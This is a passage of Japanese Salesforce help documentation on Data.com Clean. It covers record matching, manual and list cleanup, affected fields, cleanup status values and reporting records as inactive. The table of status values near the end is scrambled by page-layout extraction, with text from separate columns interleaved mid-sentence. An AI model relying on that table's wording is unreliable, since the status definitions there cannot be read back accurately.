取引先の上位競合他社の Web サイトを確認できます。

関連トピック:

Data.com 検索結果および関連機能へのアクセスの管理
Data.com プロスペクティングインサイトの表示の確認
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Data.com Clean

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Clean ライセン
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean では、Dun & Bradstreet および Data.com からのデータを使用して、組
織を最新の状態に保ちます。クリーンアップジョブを使用すると、定期的にレ
コードをクリーンアップできます。また、1 つのレコードやレコードのリストを
クリーンアップすることもできます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

Data.com Clean は、取引先、取引先責任者、およびリードのレコードを Data.com

のレコードと比較し、Salesforce レコードと対応するData.comレコードの間にリン
クを作成します。クリーンアップでは、取引先、取引先責任者、およびリード
のクリーンアップ状況情報 (ページ 1509)も提供します。
Salesforce Classic では、次の操作を実行できます。
• 個々の取引先、取引先責任者、リードのレコードとそれに一致する Data.com

レコードを横に並べて手動で比較し、レコードを項目ごとに更新する。
• 取引先、取引先責任者、およびリードのレコードをリストから選択し、すべて一度に更新する。
• 取引先にリンクされた D&B 企業レコードを手動で更新する。
Salesforce システム管理者は、次の操作も実行できます。
• 項目値が異なる Salesforce レコードにフラグ付けしたり、空白項目に入力したり、項目値を上書きしたりす

るために、自動化されたクリーンアップジョブを設定および実行する。クリーンアップジョブの設定とス
ケジュールは、Salesforce Classic でのみ使用できます。

• Data.comマッチング APIを使用して、リードの作成時の更新やカスタムオブジェクトの更新など、特定の業
務を目的としたカスタムソリューションを作成する。

Data.com Clean には Corporate Clean と Premium Clean の 2 つのバージョンがあります。Premium Clean では、追加した
り、手動で取引先、取引先責任者、またはリードレコードをクリーンアップするための Dun & Bradstreet 項目を
増やしました。Salesforceヘルプでは、特に記載がない限り、Data.com Premium Clean について説明します。Premium

Clean の詳細は、Salesforce アカウントマネージャにお問い合わせください。

Dun & Bradstreet (D&B) 項目Data.com Clean バージョン

Dun & Bradstreet 項目の基本セット。Data.com Corporate Clean

Dun & Bradstreet 項目の基本セットと、[D&B 企業] 項
目。この項目は、関連付けられた [D&B 企業]レコー

Data.com Premium Clean

ドを、[D&B 企業]タブからアクセスできる 70 個以上
の追加の Dun & Bradstreet 項目にリンクします。

Data.com Clean では、個人取引先をサポートしていません。

メモ: Data.com Clean は、Sales Cloud と Service Cloud のシートに対して 1:1 で購入する必要があります。
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Salesforce レコードの完全で最新の状態の維持
ビジネスの良し悪しは、データの質によって決まってしまいます。Data.com を使用すると、データの更新
に費やす時間を削減し、ビジネスの成長により多くの時間を割くことができるようになります。Dun &

Bradstreet の価値ある企業情報と Data.com のクラウドソーシングされたデータにアクセスして、組織を最新
の状態に保つことができます。

関連トピック:

データインテグレーション
Data.com FAQ の使用
Salesforce Classic で個々の取引先レコードをクリーンアップ
レコードのリストのクリーンアップ
データインテグレーション
Data.com Clean の設定
Data.com Clean の有効化の確認

Salesforce レコードの完全で最新の状態の維持

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ビジネスの良し悪しは、データの質によって決まってしまいます。Data.comを使
用すると、データの更新に費やす時間を削減し、ビジネスの成長により多くの
時間を割くことができるようになります。Dun & Bradstreet の価値ある企業情報と
Data.comのクラウドソーシングされたデータにアクセスして、組織を最新の状態
に保つことができます。

Salesforce Classic で個々の取引先レコードをクリーンアップ
Data.com Cleanを使用して、取引先レコードを手動でクリーンアップします。
手動クリーンアップでは、1 つの取引先レコードとそれに一致する Data.com

レコードを横に並べて比較してから、項目ごとに更新します。
レコードのリストのクリーンアップ
Data.com Cleanでは、取引先、取引先責任者、およびリードレコードをリスト
から選択し、すべて一度にクリーンアップすることができます。リストからレコードをクリーンアップす
るには、Data.com Clean ライセンスが必要です。
データインテグレーションルールと Data.com Clean に影響を受ける項目
Data.com を使用してレコードを更新すると、レコードの項目は Data.com データで更新されます。
[クリーンアップ状況] で得られるレコードの情報
取引先、取引先責任者、およびリードレコードの [クリーンアップ状況] 項目には、レコードのデータと
Data.com のデータの比較状況が示されます。状況の横にあるアイコンをクリックすると、状況の詳細と状
況を更新するためのオプションが表示されます。状況によっては、[クリーンアップ状況] 項目から複数の
レコードを直接クリーンアップすることもできます。
Data.com Clean がレコードを照合する方法は?

取引先、取引先責任者、およびリードのデータを Data.com Clean でクリーンアップする場合、レコードが
Data.com のレコードとどのように比較、照合されるのかを理解することが重要です。
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Data.com の更新状況
Data.com Prospector、Data.com Clean、またはデータインテグレーションの場合、取引先、取引先責任者、リー
ドの更新状況項目は、Data.com データと比較したレコードの状況を示します。
Data.com Clean によるレコードの更新
レコードをクリーンアップする場合、データを Data.com の情報と比較します。このプロセスには、一致レ
コードの選択方法や Data.com レコードを不正としてマークする方法など、理解すべき重要な概念がいくつ
かあります。

Salesforce Classic で個々の取引先レコードをクリーンアップ

ユーザ権限

取引先レコードをクリー
ンアップする
• 取引先に対する「編

集」

Data.com Clean を使用して、取引先レコードを手動でクリーンアップします。手
動クリーンアップでは、1 つの取引先レコードとそれに一致するData.comレコー
ドを横に並べて比較してから、項目ごとに更新します。

使用可能なエディション: Salesforce Classic

Data.com Prospectorライセンスを使用可能なエディション: Contact Manager Edition

(リードオブジェクトなし)、Group Edition、Professional Edition、Enterprise Edition、
Performance Edition、および Unlimited Edition

Data.com Cleanライセンスで使用可能なエディション: Professional Edition、Enterprise

Edition、Performance Edition、および Unlimited Edition

メモ: この情報は、Data.com Clean に適用され、データインテグレーションには適用されません。

Data.com Clean ライセンスを取得している組織、および Data.com Prospector ライセンスを取得している組織の
Salesforceユーザは、手動クリーンアップを使用できます。手動クリーンアップは、以前にData.comから追加し
たレコードだけでなく、Salesforce でアクセス権を持つすべての取引先レコードで使用できます。
Data.com Cleanには、取引先レコードをクリーンアップするためのさまざまな方法が備えられています。ユーザ
は、個々のレコードを手動でクリーンアップしたり、リストビューからレコードのグループをクリーンアップ
したりできます。また、組織で自動クリーンアップジョブを使用して、レコードのクリーンアップを一括処理
することもできます。

メモ: Data.com Prospector または Data.com Clean で取引先レコードをクリーンアップする場合、Data.com では
米国ドル以外の通貨が米国ドルに毎月変換されます。この変換のため、[年間売上] 項目の値が変更され
ることがあります。米国ドル以外の通貨を使用する組織では、レコードのクリーンアップ状況を特定す
るときに [年間売上] 項目が無視されます (そのため、[クリーンアップ状況] 項目の値は変わりません)。
また、取引先レコードおよびクリーンアップ比較ページの [年間売上] 項目からもこの値が削除されま
す。

1. レコードを開き、[クリーンアップ状況] 項目を確認します。状況が [同期済み] になっている場合でも、レ
コードを手動でクリーンアップできます。Dun & Bradstreet の DUNSRight マッチングサービスを使用している
場合は、レコードを Data.com の異なるレコードと照合できます。
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ヒント: [クリーンアップ状況] 項目から、追加の状況情報 (Data.com のデータが異なる項目など) を取得
し、その後でレコードをクリーンアップできます。状況アイコン ( ) をクリックし、表示されたポッ
プアップの指示に従います。

2. [クリーンアップ]をクリックして比較ページを開き、Salesforceレコードと Data.com レコードを比較します。
3. レコードを比較します。Salesforce レコードの対応する値に一致する Data.com 項目の値の横にチェックマー

クが表示されます。
4. 受け入れる Data.com の値の横にあるチェックボックスをオンにします。
5. DUNSRight マッチングを使用しており、Data.com から異なる一致を検索する場合は、[一致が不正ですか?] を

クリックします。
6. Data.comのデータを受け入れない場合でも、レコードが正しいことに満足できた場合は、[保存]をクリック

します。
[クリーンアップ状況] 項目には、レコードの状況が反映され、項目のタイムスタンプはユーザの操作を反
映して更新されます。

メモ: 取引先で、手動でクリーンアップ中に会社の D-U-N-S Number 項目値を更新する場合は、D&B 企業
項目値を削除します。これを実行しないと、Clean で上記 2 項目の値を更新できず、正しい D&B 企業レ
コードを取引先にリンクできません。

[キャンセル]をクリックすると、Salesforceレコードのデータは更新されませんが、Data.comによって一致度
のより高いレコードが見つかると、[クリーンアップ状況] 項目および [Data.com キー] 項目の値が変更
される場合があります。レコードのクリーンアップ方法に関係なく、これら 2 つの項目には常に最後のク
リーンアップ時点で最も一致度の高い Data.com のデータが反映されます。
Data.com Clean または Data.com Prospector を使用していて、D&B 企業レコードにリンクされていない取引先ま
たはリードレコードを手動でクリーンアップしたとします。[保存]をクリックすると、Salesforceでは D&B 企
業レコードが作成され (存在する場合)、取引先またはリードレコードにリンクされます。次回比較ページ
を開いたとき、リンクされたレコードは[D&B 企業レコードがリンクされました]項目の D-U-N-S Number で識
別されます。

関連トピック:

Data.com の更新状況
データインテグレーションルールと Data.com Clean に影響を受ける項目
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レコードのリストのクリーンアップ

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

取引先に対する「編集」取引先レコードをクリーンアップする

取引先責任者に対する「編集」取引先責任者レコードをクリーンアップ
する

リードに対する「編集」リードレコードをクリーンアップする

リストに表示されているレコードタイプ
に対する「参照」

カスタムリストビューを作成する

「公開リストビューの管理」公開リストビューを作成、編集、または
削除する

Data.com Cleanでは、取引先、取引先責任者、およびリードレコードをリストから選択し、すべて一度にクリー
ンアップすることができます。リストからレコードをクリーンアップするには、Data.com Cleanライセンスが必
要です。

メモ: この情報は、Data.com Clean に適用され、データインテグレーションには適用されません。

メモ: 取引先レコードのリストをクリーンアップできるのは、マッチングサービスとして Data.com を使用
している場合のみです。

Data.com Clean には、レコードをクリーンアップするためのさまざまな方法が備えられています。ユーザは、
個々のレコードを手動でクリーンアップしたり、リストビューからレコードのグループをクリーンアップした
りできます。また、自動クリーンアップジョブを使用して、レコードのクリーンアップを一括処理することも
できます。
リストからのクリーンアップは、以前にData.com Prospectorから追加したレコードだけでなく、アクセス権を持
つすべての取引先、取引先責任者、およびリードレコードで動作します。[取引先]、[取引先責任者]、または
[リード] タブをクリックすると、ビューを選択して、参照が許可されているレコードのリストを表示できま
す。表示される結果は、リストビューと呼ばれます。クリーンアップするレコードをリストビューから選択す
るだけで、残りの処理は Data.com Clean で行われます。

メモ: 標準リストビューからレコードをクリーンアップしている場合は、Salesforceシステム管理者により
[クリーンアップ状況] 項目がビューに追加済みであることを確認してください。作成したカスタムリス
トビューからレコードをクリーンアップしている場合は、[クリーンアップ状況] 項目を自分で追加しま
す。

1. リストからクリーンアップするレコードのオブジェクトのタブ ([取引先]、[取引先責任者]、または [リード])

をクリックします。
2. [クリーンアップ状況] 項目を含むドロップダウンからビューを選択し、[編集] をクリックします。
3. クリーンアップするレコードをリストから選択し、[クリーンアップ] をクリックします。
4. 次のいずれかのクリーンアップオプションを選択します。

• クリーンアップ状況を更新: 各レコードの [クリーンアップ状況] 項目を更新します。
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• クリーンアップ状況を更新して空白項目を入力: 各レコードの [クリーンアップ状況] 項目を更新し、空白
項目に Data.com データを入力します。

5. [更新] をクリックします。
照合および更新されたレコード件数と、エラーが発生したかどうかを示す確認メッセージが表示されます。

6. レコードへの変更を確認します。
[状況をクリーンアップ] 項目のみを更新するオプションを選択し、クリーンアップ状況が [不一致] のレ
コードが見つかった場合は、各レコードを詳細ページから手動でクリーンアップできます。

関連トピック:

Data.com の更新状況
Salesforce Classic でのカスタムリストビューの作成
データインテグレーションルールと Data.com Clean に影響を受ける項目

データインテグレーションルールと Data.com Clean に影響を受ける項目

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.comを使用してレコードを更新すると、レコードの項目はData.comデータで
更新されます。

メモ:

• データインテグレーションルールの項目の対応付けをカスタマイズした
場合、Data.com に影響を受ける項目は、リストされた項目とは異なるこ
とがあります。

• 次のいずれかのメッセージを受信した場合は、Salesforceシステム管理者
にお問い合わせください。データへのアクセスは制限されているため、こ
のレコードを完全には更新できませんまたは取引先項目へのアクセスは制
限されているため、以下に示すすべての項目を更新できません

取引先項目
Data.com Clean および「取引先の会社情報」データインテグレーションルールで
は、次の項目を使用できます。アスタリスク (*) は、「取引先の会社情報」デー
タインテグレーションルールで使用できない項目を表します。

業種取引先名

NAICS コード取引先 部門

NAICS の説明年間売上

会社形態住所(請求先)

電話クリーンアップ状況*

産業コードD&B 企業
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産業区分の説明Data.com キー

株式コードD-U-N-S 番号

取引形態説明

Web サイト従業員数

設立年Fax

取引先責任者の項目
Data.com Clean では次の項目が使用できます。

住所(郵送先)クリーンアップ状況

電話Data.com キー

役職メール

氏名

リードの項目
Data.com Cleanでは次の項目が使用できます。アスタリスク (*) は、[リードの会社情報] データインテグレーショ
ンルールで使用できる項目を表します。

メール住所

Industry*年間売上*

名前クリーンアップ状況

[従業員数]*会社名

電話会社 D-U-N-S 番号*

役職D&B 企業*

Data.com キー

取引先住所 (請求先) の地理コードの項目
「取引先住所 (請求先) の地理コード」データインテグレーションルールでは、次の項目を使用できます。

BillingLongitudeBillingLatitude

BillingGeocodeAccuracy
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メモ: これらの項目はレコードには表示されません。

取引先住所 (納入先) の地理コードの項目
「取引先住所 (納入先) の地理コード」データインテグレーションルールでは、次の項目を使用できます。

ShippingLongitudeShippingLatitude

ShippingGeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

取引先責任者住所 (郵送先) の地理コードの項目
「取引先責任者住所 (郵送先) の地理コード」データインテグレーションルールでは、次の項目を使用できま
す。

MailingLongitudeMailingLatitude

MailingGeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

リード住所の地理コードの項目
「リード住所の地理コード」データインテグレーションルールでは、次の項目を使用できます。

LongitudeLatitude

GeocodeAccuracy

メモ: これらの項目はレコードには表示されません。

関連トピック:

データへのアクセスは制限されているため、このレコードを完全にはクリーンアップできません。という
メッセージが表示されるのはなぜですか?

Salesforce Classic で個々の取引先レコードをクリーンアップ
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[クリーンアップ状況] で得られるレコードの情報

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

取引先、取引先責任者、およびリードレコードの [クリーンアップ状況] 項目に
は、レコードのデータと Data.com のデータの比較状況が示されます。状況の横
にあるアイコンをクリックすると、状況の詳細と状況を更新するためのオプショ
ンが表示されます。状況によっては、[クリーンアップ状況] 項目から複数のレ
コードを直接クリーンアップすることもできます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

以下に、いくつかのオプションの例を示します。

1. このレコードの状況は [不一致]です。前回の 1 週間前の比較では、Salesforce

のレコードと Data.comのレコードは、一部またはすべての項目で値が異なっ
ていました。以前にレコードを比較したユーザが、次のいずれかを行った可
能性があります。
• どの Data.com 値も受け入れないと決定した。
• Data.com から一部の値を受け入れ、Salesforce の一部の値を残した。
• 比較ページで [キャンセル] をクリックした。
アイコンをクリックすると、詳細情報およびクリーンアップのオプションを提供するポップアップが表示
されます。

2. この行では、Salesforce レコードの最新の比較操作について示します。
この場合は、ユーザは Salesforce 取引先レコードを 1 週間前の Data.com の取引先レコードと比較しました。

3. このセクションでは、比較に関する詳細を説明します。この場合、Data.com の取引先責任者の [メール]、
[電話]、および [町名・番地(郵送先)] の値が異なっていました。

4. [クリーンアップ...] リンクをクリックすると、Salesforce レコードと Data.com レコードを自分で比較できま
す。
[キャンセル] をクリックすると、レコードのクリーンアップ状況は 不一致 のまま変更されません。[保存]

をクリックすると、どの Data.com 値も受け入れなかった場合でも、レコードのクリーンアップ状況は レ
ビュー済み になります。
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Data.com Clean がレコードを照合する方法は?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

取引先、取引先責任者、およびリードのデータを Data.com Clean でクリーンアッ
プする場合、レコードが Data.com のレコードとどのように比較、照合されるの
かを理解することが重要です。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

ヒント:  Data.com Clean マッチングサービスのしくみについての詳細 (グラ
フィックな概要と豊富な例を含む) は、ホワイトペーパー『Data.com Clean

Record Matching in Salesforce』を参照してください。
デモビデオを見る: 一致ルールについて
Data.com Cleanを使用する場合、Salesforce レコードとData.comレコードの比較、照
合には 2 つの方法があります。
• 手動。ユーザが個々の取引先、取引先責任者、またはリードレコードで [ク

リーンアップ] をクリックします。
• クリーンアップジョブの使用。自動的にすべての取引先、取引先責任者、ま

たはリードレコードの照合が試みられます。
自動クリーンアップジョブは、Data.com Clean を購入した組織のみが使用できま
す。手動クリーンアップは、Data.com Prospectorのライセンスを持つすべてのユー
ザが使用できます。
ジョブが手動か自動かに関係なく、レコードを初めてクリーンアップするとき、
マッチングサービスはData.comで類似のレコードを検索します。マッチングサー
ビスは各レコードの項目値を調べ、2 つのレコードが同じエンティティ (つまり、
同じ取引先、取引先責任者、またはリード) を表すことを示すのに十分な同一または類似の情報を探します。
Data.com で一致が見つかると、2 つのレコードは [Data.com キー] 項目の数値によってリンクされます。取
引先責任者レコードとリードレコードの場合、レコードがクリーンアップされるたびに、マッチングサービス
を使用してレコードが照合されます。取引先レコードの場合、レコードがクリーンアップされるたびに、
[D-U-N-S 番号] 項目を使用してレコードが照合 (または検索) されます。[D-U-N-S 番号] 項目が空白の場
合、マッチングサービスを使用して一致が検索されます。レコードが大幅に変更された場合、次回のクリーン
アップ時に、マッチングサービスが他のData.comレコードから一致度のより高いレコードを探すことがありま
す。

メモ:

• D-U-N-S number が存在するかどうかに関係なく、マッチングサービスを使用して取引先レコードの再照
合を行う場合は、Salesforce カスタマーサポートにお問い合わせください。ただし、この場合、一部の
取引先レコードは、Data.com Clean の状況が [該当なし] になる可能性があります。

• [D-U-N-S 番号] 項目を再対応付けしたか、対応付けをスキップした場合、または 2011 年 12 月 16 日
よりも前に Data.com を購入している場合、マッチングサービスを使用して取引先レコードが再照合さ
れます。

取引先責任者とリードの場合、次の重要項目があります。
• 名前
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• メール
info@org.com のようなグループアドレスではなく本人用のメールアドレスを使用します ([メール] の値が同一
の場合、レコードの他の値が矛盾しない限り、ほとんどは一致となります)。注: Data.com では、送信元が
Gmail または Yahoo のメールなど、個人連絡先情報が含まれるメールは保存されません。

• 取引先責任者は [取引先名]、リードは [会社]

• 役職
• 電話
取引先の場合、次の重要項目があります。
• 取引先名

– 取引先名に、数値 (1002)、特殊文字 (!#@#)、関連のない語など、関連のない値が含まれないようにします
(こうした記号が会社名の一部である場合は、許容されます)。

– 国名と都道府県名は、会社名の一部でないかぎり、値にすることは避けます。
– 取引先名に複数の語が含まれる場合 (DSGI Business (PC World Business) など)、両方を試みます。
– 取引先名が Web サイトでもある場合 (salesforce.com など)、サブドメイン (.com など) を除外してみ

てください。
• 住所(請求先)

– 可能ならば完全な住所を使用します。
– 一致率を最適化するために、[国] 項目の値を指定します。
– [状態] または [郵便番号] 項目値の指定を試みます。
– 町名はわかるが番地はわからない場合、町名のみを使用します。値を指定しないよりも、番地のない町

名を指定した方が役立ちます。

• Web サイト
• 電話
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Data.com の更新状況

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector、Data.com Clean、またはデータインテグレーションの場合、取
引先、取引先責任者、リードの更新状況項目は、Data.com データと比較したレ
コードの状況を示します。
Data.com Clean を使用している場合、状況項目は [クリーンアップ状況] と呼ばれ
ます。データインテグレーションを使用している場合、状況項目は [データイン
テグレーション状況] と呼ばれます。

メモAPI 項目値定義状況

Data.comから追加し
たレコードの状況
は、いずれかまたは
両方のレコードの
データが変更される
まで、常に 同期済
み になります。
レコードのクリーン
アップ後にData.com

で一致が検出される
と、次のいずれかの
条件が満たされるま
で、レコードの[ク
リーンアップ状況]

Pending現在のバージョンの
Salesforceレコードはまだ
Data.com と比較されてい
ません。この状況は次の
理由で発生する可能性が
あります。

未比較

• レコードは Salesforce

内で手動で作成され
(Data.com からの追加
ではない)、まだ
Data.comと比較されて
いない。

• Salesforce レコードは
以前に Data.com と比
較されたが、その後 が 確認済み に変わ

ります。にユーザによって編
集され、再比較され
ていない。 • 2 つのレコード

が同一 ([同期済
み] 状況)。• Salesforce レコードは

以前に Data.com と比
• レコードが

Salesforce または
較されたが、その後
にワークフローまた

Data.com で更新はその他の自動プロ
される ([不一
致] 状況)。

セス (リードの取引開
始など) によって更新

• レコードが
Data.com で無効

され、Data.com との再
比較はされていな
い。 になる ([無効]

状況)。• Data.com 項目を
Salesforce 項目に対応
付けたものの、1 つ以
上の新規に対応付け
られた Data.com 項目
に値がない。
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メモAPI 項目値定義状況

状況が 同期済み であるレ
コードは、クリーンである

一致SalesforceレコードとData.comレコー
ドを前回比較したときに、2 つの
レコードは同一でした。同期済み

同期済み

とみなされますが、クリー
状況のレコードはクリーンアップ
であるとみなされます。

ンアッププロセスを繰り返
すことができます。
[クリーンアップ状況] 項目
のアイコンをクリックし、
タイムスタンプでレコード
が前回比較された日時を確
認します。

状況が 確認済み であるレ
コードは、クリーンである

AcknowledgedSalesforceレコードとData.comレコー
ドを前回比較したときに、比較し
たユーザが次の操作を行いまし
た。

レビュー済
み

とみなされますが、クリー
ンアッププロセスを繰り返
すことができます。• Salesforce レコードの 1 つ以上の

値を保持した。 レコードのクリーンアップ
後に Data.com で一致が検出• 1 つの項目値に Data.com に対し

て [不正] フラグも設定した可
能性がある。

されると、次のいずれかの
条件が満たされるまで、レ
コードの[クリーンアップ状• レコードが無効としてマークさ

れた。 況]は 確認済み 状況のまま
です。または
• 2 つのレコードが同一

([同期済み] 状況)。
• 1 つ以上の項目の値を上書きす

るようにクリーンアップジョブ
• レコードが Salesforce また

は Data.com で更新される
([不一致] 状況)。

が設定されていて、前回のジョ
ブで 1 つ以上の値が上書きされ
た。

• レコードが Data.com で無
効になる ([無効]状況)。

• 以前に Data.com に対して
[不正] フラグを設定し
た項目に、[正当] フラ
グが再設定された。

レコードのクリーンアップ
後に Data.com で一致が検出

DifferentSalesforce レコードに対応する
Data.com レコードと異なるデータ
があります。

不一致

されると、次のいずれかの
メモ: 一致した Data.com レ
コードで値が変更された場

条件が満たされるまで、レ
コードの[クリーンアップ状
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メモAPI 項目値定義状況

況]は不一致状況のままで
す。

合、レコードのクリーンアッ
プ状況が [同期済み] または
[レビュー済み] から [不一 • 2 つのレコードが同一

([同期済み] 状況)。致]に変わることがあること
に注意してください。これ • ユーザが 2 つのレコード

を確認し、Salesforce レは、Data.com で更新された情
報を D&B で使用できるように コードの 1 つ以上の値を
するため、定期的に発生しま
す。

維持している ([レビュー
済み] 状況)。

• レコードが Data.com で無
効になる ([無効]状況)。

この状況は、Data.com Clean

製品および D&B DUNSRight

SelectMatchData.com には、自動一致の必要条
件を満たすレコードはありません

一致を選択
(データインテ

マッチングサービスでのみ
使用できます。

が、1 つ以上の一致候補はありま
す。5 個までの一致候補から 1 つを
選択できます。

グレーション
では使用され
ません)

Data.com に一致するレコー
ドがないため、Salesforce で

NotFoundこの Salesforce レコードには、
Data.com レコードに類似のレコー
ドがありません。

該当なし

レコードをクリーンアップ
できません。

デフォルトでは、無効 レ
コードは Data.com Prospector

InactiveSalesforce レコードに対応する
Data.comレコードが、Data.comまた
は組織のユーザによって無効と報

無効

の検索結果で非表示になり
告されました。取引先責任者レ ますが、条件を使用して表

示することができます。コードは、含まれている情報が古
いか不正確である場合に無効にな

レコードをクリーンアップ
し、Data.comに [有効] と報告

ることがあります。取引先レコー
ドは、D&B により倒産していると

されると、レコードのクマークされた場合に無効になりま
す。 リーンアップ状況が [レ

ビュー済み]に変わります。

システム管理者と連携し
て、次のいずれかを実行し
ます。

Skipped次のいずれかになります。スキップし
ました • Salesforceレコードを最後に保存

したときに入力規則またはトリ
• エラーの原因となったト

リガ、入力規則、または
ガに関連するエラーが発生し、
次の増分同期クリーンアップ
ジョブでレコードの状況が ス
キップ に設定される。

API カスタマイズおよび
スキップ 状況を変更し
てから、手動またはクまたは
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メモAPI 項目値定義状況

リーンアップジョブを使
用してレコードを再度ク
リーンアップします。

• レコードのクリーンアップ状況
が API 経由でスキップに設定さ
れる。

または増分同期クリーンアップジョブで
は、クリーンアップ状況がスキッ • [スキップ対象レコード]

クリーンアップジョブスプになっているレコードは処理さ
れません。
完全同期クリーンアップジョブで
は、最後の保存時に入力規則、ト

キップ設定を選択するこ
とを検討するようにシス
テム管理者に依頼しま
す。これにより、増分同リガ、または他のカスタマイズに
期と完全同期の両方の関連するエラーが発生してもすべ
ジョブで スキップ  Cleanてのクリーンアップ状況のレコー
状況のレコードの処理が
スキップされます。

ドが処理されますが、レコードの
[状況をクリーンアップ] 項目値は
エラーが解決するまで変更しませ
ん。

関連トピック:

Salesforce Classic で個々の取引先レコードをクリーンアップ
レコードのリストのクリーンアップ
[クリーンアップ状況] で得られるレコードの情報
Data.com への取引先、取引先責任者、リードの無効または有効の報告
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Data.com Clean によるレコードの更新

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

地理コードクリーンアッ
プルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Data.com Clean ライセン
スで他のクリーンアップ
ルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

レコードをクリーンアップする場合、データを Data.com の情報と比較します。
このプロセスには、一致レコードの選択方法や Data.com レコードを不正として
マークする方法など、理解すべき重要な概念がいくつかあります。

Data.com への取引先、取引先責任者、リードの無効または有効の報告
Data.com Cleanを使用した Salesforceレコードのクリーンアップ時に、関連する
取引先、取引先責任者、またはリードが倒産しているか会社に勤務していな
いことがわかっている場合は、その情報を Data.com に報告できます。取引
先、取引先責任者、またはリードが 無効 として Data.com に報告された場合
は、お知らせします。取引先、取引先責任者、またはリードが 有効 と思わ
れる場合も、報告できます。
取引先マッチングサービスの選択に関するガイドライン
Data.com Prospector または Data.com Clean を使用すると、取引先レコードをク
リーンアップするために組織で使用するマッチングサービスを選択できま
す。サービスを選択する前に、各サービス、そのクリーンアップ動作、およ
び関連する考慮事項を理解することが重要です。
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Data.com への取引先、取引先責任者、リードの無効または有効の報告

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

取引先レコードをクリー
ンアップする
• 取引先に対する「編

集」

取引先責任者レコードを
クリーンアップする
• 取引先責任者に対する

「編集」

リードレコードをクリー
ンアップする
• リードに対する「編

集」

Data.com Clean を使用した Salesforce レコードのクリーンアップ時に、関連する取
引先、取引先責任者、またはリードが倒産しているか会社に勤務していないこ
とがわかっている場合は、その情報を Data.com に報告できます。取引先、取引
先責任者、またはリードが 無効 としてData.comに報告された場合は、お知らせ
します。取引先、取引先責任者、またはリードが有効と思われる場合も、報告
できます。

メモ: データインテグレーションでは、この機能はサポートされていませ
ん。

取引先、取引先責任者、またはリードは、Data.com または Data.com Clean ユーザ
によって [有効]または [無効]と指定されることがあります。[無効]は、取引
先の場合は倒産していることを示し、取引先責任者またはリードの場合は関係
者が会社に勤務していないことを示します。
レコードが 無効 の場合はその状況の設定元をお知らせし、設定元がData.comの
場合は理由をお知らせします。たとえば、取引先が倒産しているかどうか、取
引先責任者が退社したかどうか、取引先責任者またはリードの電話番号または
メールが無効かどうかをお知らせします。
1. 取引先、取引先責任者、またはリードレコードから、[クリーンアップ] をク

リックして比較ページを開きます。
2. 取引先、取引先責任者、またはリードが無効な場合は、[無効としてレポー

ト] をクリックします。
3. [保存] をクリックします。

レコードの [状況をクリーンアップ] 項目に [無効] と表示されます。
4. 取引先が無効と報告されていても会社が営業中のままであったり、取引先責

任者またはリードが無効と報告されていても関係者が会社に引き続き勤務し
ている場合は、そのレコードを再度クリーンアップできます。比較ページに
は、レコードの現在の報告状況 (取引先の場合は 倒産している、取引先責任
者およびリードの場合は 無効) を示すメッセージと、Data.com またはユーザ
のどちらがそれを報告したたが表示されます。

5. [有効としてレポート] をクリックします。
レコードの [状況をクリーンアップ] 項目が、[無効] と報告される前の値に
戻ります。たとえば、取引先責任者の [クリーンアップ状況]が [レビュー済
み] であり、取引先責任者が [無効] と報告された場合は、クリーンアップ
状況が 無効 に変わります。その後、取引先責任者が [有効] と報告される
と、クリーンアップ状況は [レビュー済み] に戻ります。

関連トピック:

Data.com の更新状況
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取引先マッチングサービスの選択に関するガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
